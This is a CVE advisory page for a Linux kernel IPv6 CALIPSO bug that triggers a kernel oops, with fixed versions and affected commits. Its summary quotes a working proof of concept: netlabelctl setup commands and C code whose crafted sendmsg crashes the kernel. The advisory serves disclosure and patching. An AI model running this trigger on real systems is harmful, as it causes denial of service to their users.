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CVE-2025-71085

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

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Not listed in CISA KEV
Fix
Fixed in 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, and 1 more
None on Exploit-DB, Metasploit or GitHub
  • Exploitation: none
  • Automatable: no
  • Technical impact: partial

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Timeline

  1. CVE published
  2. CISA SSVC assessment

    Exploitation: none · Automatable: no · Technical impact: partial

  3. Record last updated

Affected versions

  • Linux Linux

    From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in 86f365897068d09418488165a68b23cb5baa37f2; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in 6b7522424529556c9cbc15e15e7bd4eeae310910; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in 2bb759062efa188ea5d07242a43e5aa5464bbae1; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in c53aa6a5086f03f19564096ee084a202a8c738c0; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in bf3709738d8a8cc6fa275773170c5c29511a0b24; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in 73744ad5696dce0e0f43872aba8de6a83d6ad570; From 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 · fixed in 58fc7342b529803d3c221101102fe913df7adb83

  • Linux Linux

    4.8

  • KernelLinux

    From 4.8.0 · fixed in 5.10.248; From 5.11.0 · fixed in 5.15.198; From 5.16.0 · fixed in 6.1.160; From 6.2.0 · fixed in 6.6.120; From 6.7.0 · fixed in 6.12.64; From 6.13.0 · fixed in 6.18.4

References 7

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